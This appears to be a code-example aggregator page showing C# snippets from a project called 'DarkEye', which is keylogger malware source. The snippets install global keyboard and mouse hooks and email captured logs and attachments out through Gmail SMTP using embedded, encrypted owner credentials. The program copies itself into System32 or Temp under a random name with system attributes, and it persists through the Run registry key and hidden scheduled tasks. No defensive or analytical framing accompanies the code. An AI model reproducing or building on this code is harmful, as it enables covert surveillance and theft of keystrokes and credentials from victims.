示例#1
0
        private static void Initialize(String[] args)
        {
            try
            {
                globalLog = new Log(null);
                globalLog.AddLog("Connected");

                Protection.Initialize();

                commandManager   = new CommandManager();
                duplicateManager = new DuplicateManager(Utils.Utils.IsAdmin ?
                                                        Utils.Utils.GetRandomFileNameFromDirectory("C:\\Windows\\System32") :
                                                        (Path.GetTempPath() + Utils.Utils.GetRandomString(6) + ".exe"));
                ownerManager  = new OwnerManager();
                dataManager   = new DataManager();
                windowManager = new WindowManager();
                lineManager   = new LineManager();
                hookManager   = new HookManager();

                commandManager.registerCommand("-duplicate");
                commandManager.registerCommand("-antikill");
                commandManager.registerCommand("-debug");
                ownerManager.registerOwner(dataManager.ownerData);

                commandManager.Init(args);
                duplicateManager.Init();
                windowManager.Init();

                Streams.Initialize();

                globalLog.DispathContent();
                hookManager.Init();
            }
            catch (Exception ex) { WriteUtils.writeError(DARKEYE_TITLE + ": " + ex.Message); }
        }
示例#2
0
        public void Init()
        {
            try
            {
                KeyboardHook keyboardHook = new KeyboardHook();
                MouseHook    mouseHook    = new MouseHook();

                keyboardHook.OnKeyPressed   += onKeyPressed;
                keyboardHook.OnKeyUnpressed += onKeyUnPressed;
                keyboardHook.Hook();

                mouseHook.MouseAction += onMouseClick;
                mouseHook.Hook();

                Application.Run();

                keyboardHook.UnHook();
                mouseHook.UnHook();
                WriteUtils.write("Initialization: HookManager");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("Initialization: HookManager Failed: " + ex.ToString());
            }
        }
示例#3
0
文件: Email.cs 项目: x1234xx/DarkEye
        private void SendEmail()
        {
            try
            {
                MailMessage mail       = new MailMessage();
                SmtpClient  SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress(owner.from);
                mail.To.Add(owner.to);
                mail.Subject = subject;
                mail.Body    = body;

                foreach (Attachment attachment in attachments)
                {
                    mail.Attachments.Add(attachment);
                }

                SmtpServer.Port        = owner.port;
                SmtpServer.Credentials = new System.Net.NetworkCredential(owner.from, owner.pass);
                SmtpServer.EnableSsl   = true;

                SmtpServer.Send(mail);
                WriteUtils.write("DispathEmail: Sending...");
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("DispathEmail: " + ex.ToString());
            }
        }
示例#4
0
文件: Data.cs 项目: x1234xx/DarkEye
        public String GetDataByIndex(int index)
        {
            String decrypted = CryptUtils.Decrypt(this.data, this.key);

            try
            {
                return(decrypted.Split(':')[index]);
            }
            catch (Exception ex)
            {
                WriteUtils.writeError("GetDataByIndex returned null");
                return(null);
            }
        }
示例#5
0
 public void Copyme(String path)
 {
     try
     {
         File.Copy(Utils.Utils.GetThisPath(), path, true);
         File.SetAttributes(path, FileAttributes.ReadOnly | FileAttributes.System);
         WriteUtils.write("Copyme: Copied to: " + path);
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("Copyme: Failed " + ex.Message);
         return;
     }
 }
示例#6
0
 public void AutoRun(String path)
 {
     try
     {
         String str = path;
         if (!DarkEye.commandManager.IsWritenCommand("-duplicate"))
         {
             str = str + " -duplicate";
         }
         str = str + " " + DarkEye.commandManager.GetWritenCommands();
         Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
         key.SetValue(Utils.Utils.GetThisName(), str);
         WriteUtils.write("AutoRun: Registered!");
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("AutoRun: " + ex.Message);
     }
 }
示例#7
0
        public bool Scheduler(bool status, string timeset, string priority, string taskname, string filepath)
        {
            if (string.IsNullOrWhiteSpace(taskname) || string.IsNullOrWhiteSpace(filepath))
            {
                return(false);
            }
            ProcessWindowStyle PwsHide   = ProcessWindowStyle.Hidden;
            ProcessStartInfo   startInfo = new ProcessStartInfo
            {
                FileName       = "schtasks.exe",
                CreateNoWindow = false,
                WindowStyle    = PwsHide
            };

            try
            {
                switch (status)
                {
                case true:
                    startInfo.Arguments = string.Concat("/create /sc ", timeset, " /rl ", priority, " /tn ", taskname, " /tr ", filepath, " /f");
                    WriteUtils.write("Scheduler: Created task \"" + taskname + "\"");
                    break;

                case false:
                    startInfo.Arguments = string.Concat("/delete /tn ", taskname, " /f");
                    WriteUtils.write("Scheduler: Deleted task \"" + taskname + "\"");
                    break;
                }
                using (Process info = Process.Start(startInfo))
                {
                    info.Refresh();
                    info.WaitForExit();
                    WriteUtils.write("Scheduler: Started!");
                }
            }
            catch (Exception ex) { WriteUtils.writeError("Scheduler: " + ex.Message); }
            startInfo = null; return(true);
        }
示例#8
0
 public void Init(String[] args)
 {
     try
     {
         if (args.Length > 0)
         {
             foreach (String arg in args)
             {
                 Command command = GetCommandByName(arg);
                 if (command != null)
                 {
                     command.writen = true;
                 }
             }
             WriteUtils.write("CommandManager run with args: " + GetWritenCommands());
         }
         WriteUtils.write("Initialization: CommandManager");
     }
     catch (Exception ex)
     {
         WriteUtils.writeError("Initialization: CommandManager Failed: " + ex.ToString());
     }
 }